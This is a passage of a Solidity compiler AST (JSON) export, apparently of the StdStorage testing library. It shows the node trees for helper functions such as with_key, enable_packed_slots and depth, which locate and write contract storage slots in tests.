StdStorage"},"typeName":{"id":8154,"nodeType":"UserDefinedTypeName","pathNode":{"id":8153,"name":"StdStorage","nameLocations":["7244:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7244:10:8"},"referencedDeclaration":7427,"src":"7244:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8157,"mutability":"mutable","name":"_calldata","nameLocation":"7282:9:8","nodeType":"VariableDeclaration","scope":8172,"src":"7269:22:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":8156,"name":"bytes","nodeType":"ElementaryTypeName","src":"7269:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"7243:49:8"},"returnParameters":{"id":8162,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8161,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8172,"src":"7311:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8160,"nodeType":"UserDefinedTypeName","pathNode":{"id":8159,"name":"StdStorage","nameLocations":["7311:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7311:10:8"},"referencedDeclaration":7427,"src":"7311:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"7310:20:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8203,"nodeType":"FunctionDefinition","src":"7401:179:8","nodes":[],"body":{"id":8202,"nodeType":"Block","src":"7495:85:8","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"id":8194,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8177,"src":"7545:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":8193,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"7537:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":8192,"name":"uint160","nodeType":"ElementaryTypeName","src":"7537:7:8","typeDescriptions":{}}},"id":8195,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7537:12:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":8191,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"7529:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":8190,"name":"uint256","nodeType":"ElementaryTypeName","src":"7529:7:8","typeDescriptions":{}}},"id":8196,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7529:21:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8189,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"7521:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":8188,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7521:7:8","typeDescriptions":{}}},"id":8197,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7521:30:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"expression":{"id":8183,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8175,"src":"7505:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8186,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"7510:5:8","memberName":"_keys","nodeType":"MemberAccess","referencedDeclaration":7414,"src":"7505:10:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage","typeString":"bytes32[] storage ref"}},"id":8187,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7516:4:8","memberName":"push","nodeType":"MemberAccess","src":"7505:15:8","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_bytes32_$dyn_storage_ptr_$_t_bytes32_$returns$__$attached_to$_t_array$_t_bytes32_$dyn_storage_ptr_$","typeString":"function (bytes32[] storage pointer,bytes32)"}},"id":8198,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7505:47:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8199,"nodeType":"ExpressionStatement","src":"7505:47:8"},{"expression":{"id":8200,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8175,"src":"7569:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8182,"id":8201,"nodeType":"Return","src":"7562:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"with_key","nameLocation":"7410:8:8","parameters":{"id":8178,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8175,"mutability":"mutable","name":"self","nameLocation":"7438:4:8","nodeType":"VariableDeclaration","scope":8203,"src":"7419:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8174,"nodeType":"UserDefinedTypeName","pathNode":{"id":8173,"name":"StdStorage","nameLocations":["7419:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7419:10:8"},"referencedDeclaration":7427,"src":"7419:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8177,"mutability":"mutable","name":"who","nameLocation":"7452:3:8","nodeType":"VariableDeclaration","scope":8203,"src":"7444:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":8176,"name":"address","nodeType":"ElementaryTypeName","src":"7444:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"7418:38:8"},"returnParameters":{"id":8182,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8181,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8203,"src":"7475:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8180,"nodeType":"UserDefinedTypeName","pathNode":{"id":8179,"name":"StdStorage","nameLocations":["7475:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7475:10:8"},"referencedDeclaration":7427,"src":"7475:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"7474:20:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8228,"nodeType":"FunctionDefinition","src":"7586:161:8","nodes":[],"body":{"id":8227,"nodeType":"Block","src":"7680:67:8","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":8221,"name":"amt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8208,"src":"7714:3:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8220,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"7706:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":8219,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7706:7:8","typeDescriptions":{}}},"id":8222,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7706:12:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"expression":{"id":8214,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8206,"src":"7690:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8217,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"7695:5:8","memberName":"_keys","nodeType":"MemberAccess","referencedDeclaration":7414,"src":"7690:10:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage","typeString":"bytes32[] storage ref"}},"id":8218,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7701:4:8","memberName":"push","nodeType":"MemberAccess","src":"7690:15:8","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_bytes32_$dyn_storage_ptr_$_t_bytes32_$returns$__$attached_to$_t_array$_t_bytes32_$dyn_storage_ptr_$","typeString":"function (bytes32[] storage pointer,bytes32)"}},"id":8223,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7690:29:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8224,"nodeType":"ExpressionStatement","src":"7690:29:8"},{"expression":{"id":8225,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8206,"src":"7736:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8213,"id":8226,"nodeType":"Return","src":"7729:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"with_key","nameLocation":"7595:8:8","parameters":{"id":8209,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8206,"mutability":"mutable","name":"self","nameLocation":"7623:4:8","nodeType":"VariableDeclaration","scope":8228,"src":"7604:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8205,"nodeType":"UserDefinedTypeName","pathNode":{"id":8204,"name":"StdStorage","nameLocations":["7604:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7604:10:8"},"referencedDeclaration":7427,"src":"7604:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8208,"mutability":"mutable","name":"amt","nameLocation":"7637:3:8","nodeType":"VariableDeclaration","scope":8228,"src":"7629:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8207,"name":"uint256","nodeType":"ElementaryTypeName","src":"7629:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7603:38:8"},"returnParameters":{"id":8213,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8212,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8228,"src":"7660:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8211,"nodeType":"UserDefinedTypeName","pathNode":{"id":8210,"name":"StdStorage","nameLocations":["7660:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7660:10:8"},"referencedDeclaration":7427,"src":"7660:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"7659:20:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8250,"nodeType":"FunctionDefinition","src":"7753:152:8","nodes":[],"body":{"id":8249,"nodeType":"Block","src":"7847:58:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8244,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8233,"src":"7873:3:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"expression":{"id":8239,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8231,"src":"7857:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8242,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"7862:5:8","memberName":"_keys","nodeType":"MemberAccess","referencedDeclaration":7414,"src":"7857:10:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage","typeString":"bytes32[] storage ref"}},"id":8243,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7868:4:8","memberName":"push","nodeType":"MemberAccess","src":"7857:15:8","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_bytes32_$dyn_storage_ptr_$_t_bytes32_$returns$__$attached_to$_t_array$_t_bytes32_$dyn_storage_ptr_$","typeString":"function (bytes32[] storage pointer,bytes32)"}},"id":8245,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7857:20:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8246,"nodeType":"ExpressionStatement","src":"7857:20:8"},{"expression":{"id":8247,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8231,"src":"7894:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8238,"id":8248,"nodeType":"Return","src":"7887:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"with_key","nameLocation":"7762:8:8","parameters":{"id":8234,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8231,"mutability":"mutable","name":"self","nameLocation":"7790:4:8","nodeType":"VariableDeclaration","scope":8250,"src":"7771:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8230,"nodeType":"UserDefinedTypeName","pathNode":{"id":8229,"name":"StdStorage","nameLocations":["7771:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7771:10:8"},"referencedDeclaration":7427,"src":"7771:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8233,"mutability":"mutable","name":"key","nameLocation":"7804:3:8","nodeType":"VariableDeclaration","scope":8250,"src":"7796:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8232,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7796:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"7770:38:8"},"returnParameters":{"id":8238,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8237,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8250,"src":"7827:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8236,"nodeType":"UserDefinedTypeName","pathNode":{"id":8235,"name":"StdStorage","nameLocations":["7827:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7827:10:8"},"referencedDeclaration":7427,"src":"7827:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"7826:20:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8268,"nodeType":"FunctionDefinition","src":"7911:162:8","nodes":[],"body":{"id":8267,"nodeType":"Block","src":"8003:70:8","nodes":[],"statements":[{"expression":{"id":8263,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":8259,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8253,"src":"8013:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8261,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"8018:20:8","memberName":"_enable_packed_slots","nodeType":"MemberAccess","referencedDeclaration":7424,"src":"8013:25:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":8262,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"8041:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"8013:32:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8264,"nodeType":"ExpressionStatement","src":"8013:32:8"},{"expression":{"id":8265,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8253,"src":"8062:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8258,"id":8266,"nodeType":"Return","src":"8055:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"enable_packed_slots","nameLocation":"7920:19:8","parameters":{"id":8254,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8253,"mutability":"mutable","name":"self","nameLocation":"7959:4:8","nodeType":"VariableDeclaration","scope":8268,"src":"7940:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8252,"nodeType":"UserDefinedTypeName","pathNode":{"id":8251,"name":"StdStorage","nameLocations":["7940:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7940:10:8"},"referencedDeclaration":7427,"src":"7940:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"7939:25:8"},"returnParameters":{"id":8258,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8257,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8268,"src":"7983:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8256,"nodeType":"UserDefinedTypeName","pathNode":{"id":8255,"name":"StdStorage","nameLocations":["7983:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7983:10:8"},"referencedDeclaration":7427,"src":"7983:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"7982:20:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8288,"nodeType":"FunctionDefinition","src":"8079:152:8","nodes":[],"body":{"id":8287,"nodeType":"Block","src":"8173:58:8","nodes":[],"statements":[{"expression":{"id":8283,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":8279,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8271,"src":"8183:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8281,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"8188:6:8","memberName":"_depth","nodeType":"MemberAccess","referencedDeclaration":7418,"src":"8183:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":8282,"name":"_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8273,"src":"8197:6:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8183:20:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":8284,"nodeType":"ExpressionStatement","src":"8183:20:8"},{"expression":{"id":8285,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8271,"src":"8220:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8278,"id":8286,"nodeType":"Return","src":"8213:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"depth","nameLocation":"8088:5:8","parameters":{"id":8274,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8271,"mutability":"mutable","name":"self","nameLocation":"8113:4:8","nodeType":"VariableDeclaration","scope":8288,"src":"8094:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8270,"nodeType":"UserDefinedTypeName","pathNode":{"id":8269,"name":"StdStorage","nameLocations":["8094:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"8094:10:8"},"referencedDeclaration":7427,"src":"8094:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8273,"mutability":"mutable","name":"_depth","nameLocation":"8127:6:8","nodeType":"VariableDeclaration","scope":8288,"src":"8119:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8272,"name":"uint256","nodeType":"ElementaryTypeName","src":"8119:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"8093:41:8"},"returnParameters":{"id":8278,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8277,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8288,"src":"8153:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8276,"nodeType":"UserDefinedTypeName","pathNode":{"id":8275,"name":"StdStorage","nameLocations":["8153:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"8153:10:8"},"referencedDeclaration":7427,"src":"8153:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"8152:20:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8345,"nodeType":"FunctionDefinition","src":"8237:364:8","nodes":[],"body":{"id":8344,"nodeType":"Block","src":"8307:294:8","nodes":[],"statements":[{"assignments":[8298],"declarations":[{"constant":false,"id":8298,"mutability":"mutable","name":"data","nameLocation":"8334:4:8","nodeType":"VariableDeclaration","scope":8344,"src":"8317:21:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData"},"typeName":{"id":8297,"nodeType":"UserDefinedTypeName","pathNode":{"id":8296,"name":"FindData","nameLocations":["8317:8:8"],"nodeType":"IdentifierPath","referencedDeclaration":7402,"src":"8317:8:8"},"referencedDeclaration":7402,"src":"8317:8:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData"}},"visibility":"internal"}],"id":8303,"initialValue":{"arguments":[{"id":8300,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8291,"src":"8346:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"hexValue":"66616c7365","id":8301,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"8352:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":8299,"name":"find","nodeType":"Identifier","overloadedDeclarations":[7787,8090],"referencedDeclaration":8090,"src":"8341:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bool_$returns$_t_struct$_FindData_$7402_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bool) returns (struct FindData storage pointer)"}},"id":8302,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8341:17:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"nodeType":"VariableDeclarationStatement","src":"8317:41:8"},{"assignments":[8305],"declarations":[{"constant":false,"id":8305,"mutability":"mutable","name":"mask","nameLocation":"8376:4:8","nodeType":"VariableDeclaration","scope":8344,"src":"8368:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8304,"name":"uint256","nodeType":"ElementaryTypeName","src":"8368:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":8312,"initialValue":{"arguments":[{"expression":{"id":8307,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8298,"src":"8400:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":8308,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"8405:10:8","memberName":"offsetLeft","nodeType":"MemberAccess","referencedDeclaration":7397,"src":"8400:15:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"expression":{"id":8309,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8298,"src":"8417:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":8310,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"8422:11:8","memberName":"offsetRight","nodeType":"MemberAccess","referencedDeclaration":7399,"src":"8417:16:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8306,"name":"getMaskByOffsets","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8746,"src":"8383:16:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256) pure returns (uint256)"}},"id":8311,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8383:51:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"8368:66:8"},{"assignments":[8314],"declarations":[{"constant":false,"id":8314,"mutability":"mutable","name":"value","nameLocation":"8452:5:8","nodeType":"VariableDeclaration","scope":8344,"src":"8444:13:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8313,"name":"uint256","nodeType":"ElementaryTypeName","src":"8444:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":8334,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8333,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8329,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"lef